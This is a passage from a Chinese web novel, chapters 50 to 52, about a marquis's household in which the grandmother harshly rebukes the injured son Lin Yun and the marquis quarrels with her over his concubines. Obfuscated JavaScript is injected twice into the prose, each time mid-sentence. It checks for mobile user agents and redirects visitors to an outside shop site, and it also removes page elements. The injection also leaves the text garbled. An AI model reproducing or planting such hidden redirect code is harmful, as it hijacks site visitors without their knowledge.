叔子勇和其妻也早从容起来,退到左侧剩余座位那里坐下了,眼瞅着雨萌大大方方也坐到了右侧一溜的椅子上,旁边给叔子安留了第一个位子,叔子安却还扭捏着等父母亲发话才敢坐,叔子勇就开口向父亲说道:“爹,您快发话让我们也坐下吧!四弟没您的话还站得笔直呢!” 雨萌拽了丈夫的衣袖小声提醒他快坐下,叔子安这才撩衣而坐,坐得板板正正的,跟学堂听讲一般。 国公爷刚瞧见没说话,逗腿上的小孙儿玩呢,此刻被提醒了后也未抬头,说:“都说了自家人别拘礼啦!” 叔子勇还在补话:“刚刚四弟靴上沾了草灰,还怕父母亲怪罪,撇下弟妹,到一旁整衣冠去了呢。可见四弟至孝!” 国公爷开玩笑似的回:“当你呢猴儿也似的,安儿自小就严谨,别太过了,不然就没了生活之趣了。” 叔子安脸上讪讪的,忙回道:“父亲说的是,孩儿记下了。” 可国公爷没顾上他说完,就见几个未嫁娶的孩子们也说笑着进来请安了。 等着一大家子吃过饭聊完后,国公爷嘱咐了下午便要跟妻小回娘家省亲拜年的儿子们:“回去的礼物要提前备好,不可简慢了,你们妻儿原也是人家里的明珠碧玉,来了咱们家里享福不敢提,相夫教子事事在行,这一回去要让他们娘们好好叙旧,万不可灌了黄汤嚷着要回来,不许他们尽兴。” 待到午后,国公府后门的车轿就一簇簇地出发了,叔子安骑马,未与雨萌同乘马车。 50.醒心 十三 十三 欢歌宴饮之后,已到了掌灯时分,玉姨娘先回汀芷苑看娃娃们去了,大娘子和雨萌、贺小娘和雨菡各自回了住处叙旧,叔子安和李达与岳丈林将军叙谈了一会儿,看天色已晚,两人互使了个眼色,忙道乏要回府,林将军不免也要谦让挽留一气,两个人都不肯再叨扰,便让女使引着他们去内院寻夫人去了。 于是叔子安携雨萌、李达携雨菡辞别了林将军和大娘子,还要去养居阁请辞,奈何林将军说老太太今日乏了已经睡下,才恋恋地坐车骑马回府了。 御史大夫李府在东边,永昌国公府却在东北边,两队人马过了宁安街就分道扬镳各自朝回府的路前去了。 一分开,林雨菡就和李达腻歪在马车里闲聊起来,“你知道的,我们府上原还有个叫林雲的,是父亲的四子,因屡犯家规被幽禁在偏院了,就是过了花园西北角门的那片地方。我竟听母亲说,那个四弟好像出事了。” “出了什么事?”李达好奇起来,温柔地抚着雨菡的颈,眼睛却含着春水似的望着靠在怀里的美人儿。 雨菡抬起头,两人的眼便对在了一起,若有所思地回答:“说也奇了,我母亲也算个消息灵通的了,竟半点新闻都探不出来,霁儿跟前的小厮也去跟相与的伙计们探听,也封锁地半点不露。” “难不成杀了人放了火一般严重?” “不会,林雲被幽禁在那儿,听说饭都吃不饱,穿得破破烂烂,被罚禁地十分难捱。要是他做出那种大逆不道、犯法勾脏的事来,父亲绝不会偏袒徇私的,此刻要不被关在东京府衙里,要不早下了府中地牢了。”雨菡很肯定地说。 “那就奇了,一个不受宠的庶子还能翻起什么大浪不成,要你们如此关切!”李达轻蔑一笑,就吻上了雨菡的樱桃红唇。 雨菡含羞吃了一吻,脸红得如同灯笼映照一般,娇嗔地推开李达不安分的手,规矩坐好,又接下去说:“你不懂,我母亲的恨。” “你和我说过的,小娘和吴小娘争宠,林雲为吴小娘之子当然你们都不待见他。可要说恨,好歹林雲也算个正主,没必要吧?”李达仍欲揽过雨菡的细腰来亲昵一把。 雨菡却欲拒还迎地低头说道:“当初我母亲刚怀了霁儿,父亲就去了大同府巡边,不到一年功夫,就带回了吴小娘。那时霁儿才两个月大,母亲眼见自己快要失宠,不顾身子还没养好,就去服侍父亲。哪曾想,母亲和那个罪臣之女同时怀了孩子,可父亲一心都在那个女人身上,对我母亲冷淡异常。后来的事你也知道了,母亲因难产血崩差点丢了命,孩子也没保住,从那以后再不能生育了。你们男人哪能懂这种恨?母亲自然对那个同期而生、活下来的林雲恨的牙痒。” “就算恨,林雲到底没有招惹过你们呀!再者,你现在是李府夫人,该操心操心自己的肚子才是,娘家的事少参和得好。” “我也不过是和你闲聊的,哪里还有功夫去操心那个林雲呢!不过你们男人见一个爱一个,少不得以后自己府里还有什么芸儿、花儿的去操心。” “娘子瞎说,我只爱你一个。”李达说完也不等雨菡回应,热吻紧紧含住了雨菡的口,不许她再说下去。 雨菡生怕自己声音再大些会被外面的侍从车夫听到,只好任李达上下其手,顿时身上火热、情如媚丝。 阿夏找到林将军时,林将军正好在汀芷阁和玉姨娘说家常话呢。阿夏毕恭毕敬地给玉姨娘行了礼,才对林将军说:“侯爷,老太太叫您去一趟。” 林将军倒有些不情愿,回了句:“今日让她们搅乏了,你去回老太太,要是没什么要紧的,我明早去请安。” 玉姨娘眼珠子滴溜溜地转着,却拦下了正要退身出去的阿夏,边给侯爷捏肩,边开口劝道:“我见老太太今日一天都淡淡的,像有心事一样,侯爷向来至孝,老太太既叫您去,您留恋汀芷阁,岂不是我也有了罪过?” 侯爷心里明镜一样,假笑了一声,握了握肩头的纤纤玉手,吩咐阿夏:“我换件衣服即去,你先过去回禀。” 玉姨娘侍候着林将军换了简单的家常衣裳,见外面起了风,给侯爷系好大毛披风,把侯爷及跟前的小厮付勇送出了汀芷阁。 刚回屋里,敏儿边给玉姨娘卸妆去髻边小声问:“刚刚我见侯爷被老太太叫去的时候怎么不太高兴的样子啊?” “不该问的别问。”玉姨娘懒洋洋地回,沉默了一会儿才又细声说,“想来老太太是因为林雲叫侯爷去的,白天里我就看出来了,老太太心事重重的,侯爷见了老太太也有点不自在,想来侯爷也知道了点什么。” “林雲,就是上次恬儿被罚的那位四公子吧?又闹出什么了吗?”敏儿趴在玉姨娘耳边问。 “是他,倒不知是因为什么,昨夜里二门上的阿虎,就是王奶娘的大儿子,鬼鬼祟祟的和他娘说的,出事了······”玉姨娘神神秘秘地回,正巧灵绦窝好了寝被走到外间来了,玉姨娘赶紧收了嘴,不作声了。 “娘们两个说不完的梯己话,要说日子还长呢!快睡吧,明天还有亲客来呢。”灵绦意味深长地笑了笑,抱了一团脏衣服出去了。 玉姨娘心领意会,忙进到里间宽衣睡下了。 林将军路上脚步慢得很,一点不像平时快步凌风的样子。付勇,是小付强十岁的亲弟,前两年由付强父亲——林将军的亲兵付召慧荐来的,跟在林将军身后也慢慢地走着。 林将军有一句没一句地和付勇闲聊着,先是问候其父亲安好,家中过年可齐备,再就说到昨夜家去了没有。原来林府上下除了明其山一家子是其林瀚将军置下家业就一直在管事院落居住外,现只有两个年轻管家家口不多也住在东便门那边管家院里,其余下人除了死契的住在府中下人院,城里有家的到了晚间亥正刻就可离府归家,第二天早寅末时再赶回府中即可。 付勇回:“昨晚家里正好来客人,父亲陪着喝酒,到我回去还留着饭呢。我说吃过了的,舅舅们不肯,定拉着我喝了一大海才放我去睡的。” “那你哥哥可在?” “也在,哥哥早喝得醉了,比我还早离席呢!” “你哥哥没和你说什么?” “小的不懂侯爷要问什么,哥哥自然和我说了许多家里的事。”付勇小心地回答着。哥哥付强在林将军身边做了七八年的侍卫,一开始年轻气盛乱讲话,被痛罚了好几回,后来告诫付勇,在侯府里做事要提起一万个小心,哪知道什么人什么话就是雷点,原则就是关于府上的事一概不知一概不闻,只专心做好分内的事就好。 “你倒乖觉,知道也装作不知道。”林将军挖苦道,见付勇仍不答话,就又问,“你们倒都知道了,通共瞒着我,当真能瞒得过我去?” “小的知道的,绝不敢欺瞒侯爷。” “林雲!” “四少爷?”付勇顿了顿,便知昨日的事林将军应该是知道消息了,虽说老太太已经告诉了所有参与搭救四少爷的下人们,若有半句泄露出去就立 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林将军其实昨夜里知道的。昨天宴饮了一天的宾客,晚了就照例去静玉堂歇息。正当其梳洗毕在书房安歇时,明其山明宅老过了来,敲门进去后,屏退了所有人,告诉了林将军自己探听到的和猜测的。明老是午后安排几位眷属回府时,派另一个管家张升去到下人院叫几个下人牵马驾车时,张升发现了四五个壮力才满头大汗身上带了血迹地回来,他们见了张管家一闪就进屋去了,躲躲避避的,疑心回来告诉了明老。明老觉得事出有异,叫了其中一个过来问话,死都不说,问就是宰羊去了。明老气得大骂:“林府多少年的规矩,正月不杀生,哪里来的宰羊!还不快如实说来!”那人还只是回宰羊去了。明老也知道,正月里忌喊打喊杀的,没再细究放了那人。可终究到了掌灯时,就露出马脚来了,太医院的王太医一并几个年轻大夫都偷摸被接进府中的养居阁,直到起了更养居阁仍紧闭大门,至三更天时才被养居阁的屈嬷嬷亲自送出府去。明老暗中派人打问,才探听出林雲在山上出了事,要不是阿夏直觉灵敏、搭救及时,恐怕连尸骨都找不到了。堂堂侯府一门,若是正主在山上遭害,怎么也得报官,到时孟义侯府可就出名了,更不提那些言官如何参将军的治家不严了。 明老将其中利害与林将军一一说明后,商议着如何应对这事:“若说此事可大可小,老太太瞒着是对的,倘若今日惊动了侯爷,那这事可包不住了,且不说外人知道了要当新鲜事来议论,就家里这些嘴恐就挡不住怎么传呢!老太太既不提,您就权当不知,再等两日,等这几日宾客过去了,家里安静些,再去和老太太说也好。但一味拖着假装不知也不行,老夫妄说,还望家主海涵。本来此事就是因父子间隙所致,四少爷身边一人没有,上山砍柴亦属生活所迫,要是论起来,这就是家主疏于引导教管了。救过来还好,就算残了,瞒一瞒也无妨,此后对四少爷严加管教即好;倘若真救不过来了,官家那里、东京府衙门那里都得想好说辞,起码人还在,仵作验尸也跟府上人不相干,最多陪几个小厮进去。现在养居阁一概消息没有,老夫也着实揪心。” “早知这样,就该打死。”林将军心中也是又气又悔,又担心又愁闷,“那个逆子,要活活气死我才罢。老太太做事果断,行事严谨,这事办的很可以,若是叫府上这些人们知道了,不知道会怎样议论呢,传出去我这脸要不要了!你派人盯着养居阁一些,看看救过来没有,及时告与我,我也好有个准备。” “老爷放心,我派几个得力的守在各个门上了,一有王太医的动静就会禀我。可到了这时分,还不见出来,怕是不好。要我说,四少爷有您的风骨,被幽禁这么久,从未对外人提过是林府的人,过得多苦都硬捱着,要是此番未有大碍,还望老爷看在他死去的娘份上,待他好些吧。”明老劝道。 林将军一夜几乎未曾合眼,临天亮才得知林雲除腹部受伤严重、断了一根肋骨外其余大多是外伤,没有被狼咬着,才矇着了一会儿。梦里却全是吴芝彤那张泪流满面、恨毒了他的脸,他醒来也是心沉得很,想到吴芝彤,想到林雲跟他娘一样的倔强不屈,心里气也好悔也好,还得假装什么事也没有,装笑面对他人。 51.醒心 十四 十四 到了养居阁院门口,林将军停下脚步,长吁了一口气,院里院外灯火通明的,就知道老太太还专门等着他,也就抬脚大步向正屋而去。 进了暖烘烘的东屋套间里,老太太倚靠在一架檀木罗纹刻花罗汉床榻上打盹,采荷蹲坐在一旁捶腿,屈嬷嬷走到老太太耳边悄声说:“侯爷来了。”随后侍立一旁,屏退了采荷及其他人。 老太太微睁双目,意欲立起身来,林将军便抢身上前扶了老太太的胳臂将其扶正端坐,面露愁态地躬身问安。 “侯爷这两天忙乏,老身还半夜叫你来,不为别的,是有件家事要禀侯爷。”老太太也是一脸的疲态,垂着皱纹满布的眼皮,一手搁在炕几上撑着身子。 “儿子不孝,承养出那个逆子来,还得劳母亲挂心垂念、紧张忧愤,真羞煞我也!” “看来你知道了。”老太太听到这话,便知林将军已有所知,也是,天下没有不透风的墙。 “昨夜里明老因见接了王太医来,恐母亲有恙,也不告给儿子,便将此事私禀了我。我也是一时忧心,后悄闻不是母亲,想也是母亲有意不使家里人知道,故没来突访,还望母亲恕罪。”林将军忙跪在林老太太脚边,自知有愧,话音都低沉了。 “这几日客多,想瞒着你哪里能瞒得住呢,家里人口少说有一百,各个的嘴长在各个人身上,就是你不知,新玉、兰儿她们想必也早有人告诉了。得亏了阿夏那个好孩子,若不是他疑心大年节下的人也不在,食盒也没拿进去,恐遭了变故,雲儿就被野兽撕咬殆尽了。现在人是救过来了,王太医说若这几日情况安稳,便没什么大碍,将养段时日也就好了;可也不保他身子弱,内里有些出血,腹部又缝了十来针,扛不住的话也得早做准备。” “儿子教子无方,生出这一祸事来······母亲之苦心,儿子惭愧!” “先不要说那些,我把他安置在西屋里间了,暂时你也不要去看他,看带进冷气去。傍晚他又起了高热,我着人在里面小心侍候着,你无须担心这里。至于大正月料理起后事的东西来也不是什么好兆,更闹得人尽皆知了,到底让人知道了不是好事。若神灵有明,祈愿那个小儿转过来,好了吧!”老太太见林将军眼角有泪,一直低着头耷拉着脸,于是拉起林将军的一双手,放在膝上安抚着。 “有母亲的呵护照拂是那个逆子几世修来的福气,倘若他不济事,那也是他福薄,没那个命数。万望母亲保重贵体,不然我真真成了罪人了。”林将军又愧又悔,不觉滴下泪来,顺着眼角一把皱纹流到耳边去了。 老太太心里也难过,自己眼睛里也汪了清灵灵的水,仍拿起一块丝娟帕子替林将军擦去眼泪,也在自己眼边轻轻拭了拭,又开口道:“我知道你也不想这样,当初偏院起火,我和你说‘你们父子俩避开一段时间也好’,想来我错了。你们避了这么久,谁都不肯先低头,你做父亲的也该大度,他做儿子的也该懂孝悌廉耻,结果就这么僵着。我也是老了,没有料到你给他开了西角园门,原本为他生活所需的,竟让那小子越走越远,上了山去;我只以为打柴辛苦些,也就更磨挫地他性子软些,竟不知山上危险甚多,想来以前他也遇过灾祸,小小个人儿怎么避开回来的呢!这一回,他活过来,你可不能再由着他胡做胡为、自生自灭了!林家祖宗在上,只许林家后人或战死沙场或耀祖袭爵,哪怕平平安安了一世,可不能被冤死错杀,不明不白地怎么去见祖宗爷去!” “母亲勿要生气!孩儿知道,是我没有教管好您的孙辈,哪里与母亲有关系,我自以为是,吴芝彤那个女人就带了无数的麻烦给母亲,现在她的儿子也如此悖逆,以后我一定会好好管教他,绝不出现让林府蒙人诟病之事!”林将军痛心疾首道。 “你也有你的苦处,深爱的人辜负你,枕边人你又不能与之交心,孩子们多是怕你敬你,竟没有一个全心托付之人,上有官家之严,下有育子之责,外防诸官之察,内兼治家之谨,俱要小心行事、兢兢业业,方能不被人算计。我懂我儿之苦,但只能你一人如履薄冰而行,谁都替不了你。也正如此,家中我若能帮你一二,必不致使你忧心过劳。但我终有心力不能为之时,你得扶持着你的娘子尽力帮伴你才是,不然日后你怎么撑得下去呢?”老太太言辞恳切动人,屈嬷嬷早先出去捧茶,一直没进来,此刻在外间听到老太太如是说,也不禁为之动容。 “并不是我违逆母亲,您也看到柳氏那个样子了,哪里有点主母的做派!贺永为林府打理米铺,这十多年的家用开支尽出此处,才维持了咱们侯府的荣光,兰儿也是温婉可心、善解人意,我早视其如妻。新玉嘛,良善懂事,也不惯于钻营,但年轻不压众。可柳氏虽为发妻,一不能替我和母亲分忧家事,好多事情连我都知道了,她甚至都不加理会;二是无法威压下人,自己的人还屡屡闯祸,更别提去管理其他院里的人了;再就毫无慈悲心肠,自己的儿是儿,千骄万宠的,把霓儿惯得不成样子,林雲在那偏院受多少苦,连问都不问一句,别的孩子都有娘宠,唯有这林雲,我与他生了气,难道雲儿也惹恼了她不成?银钱上也是,压着丫头小子们的月例不放,自己去放利银子,那三瓜俩枣的子也不放过,若不是新玉和我抱怨,我统还蒙在鼓里呢!我一回静玉堂,她就摆出一副冷脸来给我看,饭也是凉的,茶也得叫才有人来倒,存心与我置气似的。母亲教我扶持她,我哪能指望上她!”林将军被老太太拉起到旁边坐下,也开始絮絮地倒出苦水来。 “你不喜欢她可以,你总抱怨她与你不亲近,可你又哪里知道她的苦处!你算算你能住在静玉堂几夜,她管着宅子大小人等,又有几个银钱可使,她又比不过兰儿有兄弟给钱花,管家这些年搭进去自己的嫁妆多少呢,说是她冷心冷面,总比人外面和善内里藏奸的好。就算是玉卿有千般不如你意,可好歹也是诗书大家里的金闺小姐,和你做了二十来年夫妻,面子上怎么也要维护着她。上次若不是你的岳丈柳大人力保,恐怕你监察海河决堤之事还遮掩不过去呢!上上下下的孩子姬妾们都看着你,你作好作歹和玉卿有商有量着,莫不要又犯了那从前的旧例,弄得合家乌烟瘴气的。” “母亲教训的是,儿子也知道,前些年冷落过她,她心里存着怨气。现如今儿子要与她厚密些,她却冷着脸,教儿子有什么办法呢!更何况我看她的身子也一日不如一日,既是她管家有些为难,不如把管家之权给了兰儿吧?”林将军小心地试探道。 老太太大概也猜到了林将军的后话,母子俩静坐在榻上,沉默了一会儿。 半晌,老太太缓缓说道:“州堂,莫不是我说句私心话,你也别往心里去。柳氏管家能力的确一般,但这管家权给谁也不能给兰儿。你道兰儿好,可我眼里过了多少人,大多能看透个七七八八,有的也会看走眼。我却见兰儿面善心毒,一心都在如何谋算林家主母之位,当初她与吴氏怎么争宠来,吴氏又是为何癫狂发疯的,林雲又怎么的与你三五次争执难堪的,虽然表面上看似和兰儿一点干系也没有。可你细想想,若不是有人瞅准了你们的弱点和间隙推波助澜,怎会有现在这个情景?” 林将军一听这话,也沉了半晌才回:“贺氏怎么说也为我生了两个可心的孩儿,我在栖芳阁也算待得时间最久,说她有心计我认,可要说她心毒,我却不以为然。柳氏原和我因吴芝彤吵了无数次,后来对林雲也不闻不问、置若罔闻,兰儿虽哭过闹过,却几次提出要我宽宥雲儿,对新玉也是又大度又谦让,姊妹两个处得又亲密,旁人见了都没的说。我也知十七年前兰儿难产,因此恨上吴氏和林雲,可我不信她下过害人的手段。吴氏之死咎由自取,林雲忤逆怪到他人身上难免牵强。母亲既提醒我,以后我留意就是了。”可说完这话,林将军明显地将握在老太太手心里的手撤回,安置在了自己的膝上。 老太太见状又用帕子拭了拭眼角,端端庄庄地坐起身,变客气了说:“当然,我老了,可能也是看不惯兰儿那副娇俏的媚狐子样儿,妇人之见你大可不必放心上。你的人你自己要揣摩清性子,服侍起你来自然会更合你心意。大娘子管家的事,有我帮衬着她呢,暂时也不用侯爷劳心。” “是,有母亲在,儿子儿媳再不能也有您教调着,把家理顺了。”林将军复又跪到老太太脚边说道,“说了半日话,也夜深了,还请母亲保重,早点安歇吧!孩儿亲自服侍您如何?” 老太太两手扶起林将军来,两眼仍是水汪汪的,却咧开一丝笑容说:“我儿孝顺,可侯爷也该保重身体,老身有她们呢,你快回去睡吧!” “那儿子先告退了,雲儿这边全靠母亲照料了,家下人等我自会告诫他们。”说完林将军躬身退出去了。 屈嬷嬷早放回茶盘,准备了洗漱水具,见林将军面上有些恼色大步流星地走了才进到屋里来。“老太太,老太太,该盥洗了睡了,都二更了。”见老太太怔怔地,忙轻轻推了推老太太的肩膀说道。 “老了,不中用了!”老太太露出一丝苦笑,无奈地叹道。 “您说什么呢,您的苦心侯爷全然知道,侯爷又是个极孝顺的,您啊该安心的享福,别太操心了。”屈嬷嬷耐心劝道。 “你刚刚也听到了,我说贺氏心毒,侯爷不信罢!就和当年我说吴氏是个祸根,他不信是一样的。早知道这样,我不该说,侯爷再因为这恨上我,伤了母子情分,不值得!”老太太自悲自叹着,倦极了的双眼更现出一分老态和无奈。 “您的拳拳爱子之心,天日可鉴,侯爷总会解您心意的,需要时日罢了。再者,您管得了一时,管不了一世,就算由他们胡闹去,还能怎么样呢,侯爷是知分寸的人,侯府的荣光总不会弄差的。”屈嬷嬷一副心疼的样子,握紧了主人的手。 “温儿,你自幼时就跟了我,从那府里到这府里,前后已经五十年了,咱们见了多少人家兴衰盛败,不说别的,我哥哥他们若不是言行放浪招惹下那一派的人,哪能就一下子家破人亡呢!一着不慎满盘皆输,树倒猢狲散的道理,你怕是比我还要清楚呢。州堂父亲去得早,我一个人把他拉扯大,经了多少埋伏暗算,才把这个家业守住,总不能看着他被这几个女人搅得天翻地覆。” “当初舒家落败,您把我又带到林府来,我跟着您才有了安生日子,自然明白您的难处。要说混搅,有您坐镇,别人再大胆也不致怎样。更说大娘子心实,有您教调,会好的。再不也有玉姨娘呢,我看她倒好,有点女主人的样子,出身虽比不上大娘子,可也算官宦人家里出来的,性子也爽直,若您有意扶持,她还不照杆子上进呢!”屈嬷嬷边扶了老太太进到拔步床内,替其松散下头发来,边宽慰道。 老太太这边心里有事,直辗转反侧到四更天时才睡稳。从初三日开始就推说着了凉生病不见客,林将军和大娘子柳氏日日晨昏来请安问候,贺氏王氏及林震他们也一日三四趟地来,亲自服侍老太太喝药用饭。后来屈嬷嬷说老太太只是外感内滞,静养养就好了,你们这么着,兴师动众的,反让老太太睡卧不宁了。林将军这才命众人轮流来侍亲。 林雲在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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老太太坐在林雲面前,屈灵在林雲头下背后放了高枕,让他半仰半坐起来,面对着老太太整肃的脸。老太太挥手让他们都出去外间等着,只和林雲两个人对坐着说话。 穿越回来的林载轩也只见过老太太一次,只觉得老人和蔼可亲、气度非凡,别的也没印象。林雲知道这次全靠老太太才得以捡回命来,所以率先开口感激老太太救命之恩。 老太太却半天不说话,还是那么严肃地看着他。林雲见老太太梳着倭团髻,发脚一丝不苟地抿到耳后,钗环全无,只鬓上还簪着粉红的月季花,穿着半旧的灰鼠皮银缂丝红镶绣边直袖短襦袄,下着藕粉色软缎百褶裙,碧绿螭形环佩绦带垂在腿边,一言不发,倒看得他心里来回打鼓。 于是他又提起了感激之言:“老太太之恩,难以为报,日后雲儿好了,愿为牛马在老太太跟前尽孝。” 可老太太还是不说话,盯得他不敢再看老太太。 时间一分一秒过去,林雲在这种无声的紧张里有点手足无措,萌生了一种想要下地跪在祖母面前感恩的冲动,可他也知道,无人搀扶,那会是一种十分危险的举动,不仅自己可能摔倒,还可能带累祖母。于是就又放弃了这念头。 老太太仍是严肃,仍是端坐在椅上,一言不发。 林雲心里闪过好多句话,可不敢说出来,他知道,祖母来应该不是为了听他说几句漂亮话的,究竟是什么,他也猜不着。以前的事他也不知道多少,他被幽禁以来,自己出去不和人多言多语,多半出去也是上山砍柴或是有限的几次采买必需品,就光维持着自己的生活就挺难了,内院前院也除了初一领银米去一趟,不敢再去别处逛去,林雲有什么错处真也是找不出来了。 过了好半天,他被盯得脸也发烫、心也发抖,恨不能让祖母骂他几句打他几下,好解除这紧张尴尬的局面。外间的人也不闻一声儿,好像也似无声的画面静止了。 老太太才冷冷发问:“你有几条命能挥霍得起?” 这一句问得他呆住了,林载轩的魂魄穿越回来算是一条命,第一次山上遇险幸遇猎户相救,这次又是狼口夺命回来,短短三年功夫,就好几次险境求生,“有几条命能挥霍呢?”挥霍二字,像是磬钟敲醒了沉睡人,一下子让林雲陷入对自己生命的思考里。 “你有几条命挥霍得起?”老太太又追问道。 “孙儿······孙儿只一条命······”林雲结结巴巴地回,被老太太厉声打断。 “倘若阿夏没带人去找你,你的尸骨也难拼凑得全,到时你父亲、母亲都要被问责,全家上下被你连累,侯府不知要被东京府的人怎么当做笑话来谈呢!你,死有余辜!你一条命死了不算,还要连带别人吗?当初我还求了王太医来亲自为你诊治,浪费了我一片好心,早知你会闯出这么大祸,就合该你父亲打死你。” “我······我错了······”林雲吓得语无伦次。 “你也知道错,倘若知道错,早该和你父亲认错去,和自己的父亲也僵持着,你哪是个知人懂礼的孩子,分明就是个逆子,论着家法也该打死。”老太太边骂边哭了出来,“你父亲儿时淘气,也从未如此顶撞过他的父亲。你是哪里学来的死犟,一次教训不够,谁都教管不了你,任着你想干什么干什么,一点侯门将子的样子也没有,学你娘的任性和无理取闹,你不看看你娘任性的下场是什么!当初不让你去祭拜你娘,就闹出那么大一场来,现在你爹三次五次给你台阶下,你倒好,拗着性子气你爹,得亏他肚量大,没被你气出个好歹来,换了别人,你还能活到现在吗?好小子,你要是眼里还有我这个祖母,给我爬起来找你爹认错去,把你说的做的那些荒唐事迹通通认下来,求着你父亲饶恕你。你父亲饶你便罢,不饶你,随他怎么罚你,你都给我乖乖受着,再要惹他生气,我第一个砍了你的手脚,毒哑你的喉咙,把你关在偏院里一辈子,省得你再惹出祸来,让林家蒙耻!” 52.醒心 十五 十五 林雲听了这些话,早被气噎得话也说不出来,身子也开始发抖起来。他甚至觉得自己的祖母真会这样做,砍掉手脚,毒哑喉咙,这样的手段在古代社会里定然不少见。自己读过史书,什么“婴儿贯于槊上,盘舞以为戏”“人相食啖,白骨委积”“太后遂断戚夫人手足,去眼熏耳,饮瘖药,使居鞠域中,名曰‘人彘’。”这些吃人的记载还少吗?他害怕心悸的同时,也气涌攻心,不禁痛心而绝望,万万没想到,祖母是为了让他向父亲认错而来。 “自己的命哪里抵得过父亲嫡母被受牵连重要?早该想到的,早该猜到的,祖母怎么会为了我而救我呢!只不过是不想因我而死致全府沦为笑柄,也不想因我而让父亲被官家责备而已。自己的命根本不重要,根本没人真的心疼自己。”林雲想到这些,便又联想到自己之前受的种种苦难,下人苛待,偏院起火,阿土之死,去前院领取份例时所受下人之白眼,被罚跪时当做是小猫小狗一般冷酷的对待······自己被罚禁在偏院,房子差点塌掉都没人管他,是否饥饿寒冷自始至终都没人过问过,怎么此时会有祖母来关照他,都是为了侯府的脸面、父亲的尊严而已,自己竟痴心妄想地还要报答祖母的救命之恩。他又想起了两年前那个雷暴雨夜里的痛彻心扉,原来,还是一样的。他从祖母的责备里想起自己那些难言的痛楚来,顿时比身上那些伤更难以承受,眼泪有如断线的珠子般大颗大颗地滚落下来,不到一盏茶的时间削瘦的脸颊上已满布泪痕。 老太太骂完这阵子,见林雲脸遽得通红,两眼呆呆地看着自己,已是满脸的泪,以为他自是羞愧难解,被自己的话所撼动。却不想林雲更误会全家无人疼顾他,全视他为眼中钉肉中刺,恨不能他就惨死在偏院里才好。 老太太擦干眼泪,和林雲两个人静坐了好半天,才又语气软和下来地问他:“你可知错?当年你娘去了,我也有意要你过来和我同住,哪里知道你几次三番地因你娘之事与你父亲大吵大闹,你看见的是你父亲对你母亲无情,可你不曾看见的是你娘如何逼迫你的父亲。不让你去祭拜你娘,是因为她已去了极宁静之所在,你何苦还去烦扰她?莫不如你用功读书、博了功名让你娘在九泉之下安心的好?” 林雲却还陷在家人背弃之中抽不出思绪来,下意识地抽抽搭搭道:“我错了!我知道自己不被人疼爱,可我也无心牵连别人,我上山砍柴是因为我没有炭火,不是存心要丢侯爷的脸的。如果你们一定是要我饿死冻死在偏院才如你们意的话,也不必老太太费力砍去我的手脚,还请您把我送回去,自此我再不会踏出偏院半步,也不会再去领份例了。几时我死了,把我和我娘埋在一处,我就心满意足了······” 一语未完,已经抽噎地难以作声,只两手紧抓被角,极是克制着自己不哭出声来。 老太太听了心下忖度,这孩子已有时日没有跟府上的人亲近过,性子是软了不少,不像之前和他娘一样浮躁矜傲、目下无人,倒添了沉郁怯弱、萎靡无神之气,要死要活的,怕不是被折磨得心志溃散了?自己也不好再责备下去了,只好咳嗽了两声,屈嬷嬷会意,去倒了热茶进来。 屈嬷嬷见林雲半张脸埋在枕头里,哭得哽咽不住,老太太倒是比先前平静了不少,先捧了茶奉给老太太,又随即叫进小儿子屈灵来,让他赶紧拿热毛巾给四少爷擤把脸。 林雲胸口一阵一阵绞痛,抓着被角的手愈发僵硬难伸,闭了眼任泪水洗刷着面颊,却使劲咬着下嘴唇,抑制着自己的哭声。他不想太难堪了,即使是家人都愿他去死,他也不想把这软弱完全展现在众人面前。 屈灵想抱起林雲的上半身来,不曾想他僵直得动也不动,便在耳边轻轻唤他:“四少爷,四少爷,别这样,伤还没好,得保重身子才行。”林雲却伸出一只手臂来推他,但那动作只是很无力地触到了屈灵,屈灵一把扶住,手臂摸上去却是冰冰凉的,赶紧塞进被里渥着然后用眼神求助母亲屈嬷嬷。 屈嬷嬷也便走近林雲床边,?了热毛巾,替他擦去脸上的涕泪,坐在他旁边,揉搓着他的另一只冰凉的手,开口劝道:“哥儿这是说的什么话?大正月的,要饿死冻死的,呸呸,不吉利的话头快啐地下。老太太是心急,才那样教训你,哪里不疼你?若是不疼你,会让王太医日日来诊视,命小子丫头们好生伺候你吗?若是不疼你,还把你放在自己屋子里,让小厨房天天做有营养的粥食来,怕你着冷气,都不许侯爷来禁辖你吗?若是不疼你,怎么会让阿夏时不时地去打探你的消息,让老胡头多去关照你呢?这府里若说别人不疼惜你,倒可罢了,老太太对你是用了心的。你要是这点子心意也记不得心里头,那才是孤恩忘义呢!” 屈嬷嬷见林雲面上已经不似之前紧蹙,又轻声劝解:“老太太一听你山上受了难,自责地不得了,忙忙腾出屋子来,自己巴巴地呆在东屋里,客也不见,好几夜都睡不安稳,天天派老奴来看你几趟,生怕你回转不过来,担心你身子弱、气血虚,那人参黄芪都让开了柜拿出上好的来给你用,哪能是不疼你!正是心疼你没了亲娘的爱护,才恨铁不成钢地责骂你,是希望你好好跟侯爷认错,解了你们父子间的虞隙,让你父亲也用点心在你身上。哥儿可别曲解了老太太的好意,往牛角尖里钻去。” 老太太听了屈嬷嬷的话,眼角又湿润起来,想到自己年近六十,却只有这么一个最解心意之人,接过去屈嬷嬷的话继续说:“这天底下也只有你屈嬷嬷能这么掏心掏肺地和你说些了,我这一把老骨头,说破了天,你和你娘都认为我安了坏心肠,存心要你们不好。当年我也痛骂过你娘,我说:‘你就这样子折腾吧,把侯爷疼顾你的心耗尽了,看看哪里还有你的立足地?’你娘偏不听,以为我是故意折磨她,和我也闹,到头来怎么样了呢。雲儿,你若是还能听进去屈嬷嬷的劝和我的话,等过些日子好了,就去向你父亲请罪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13296986|129422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 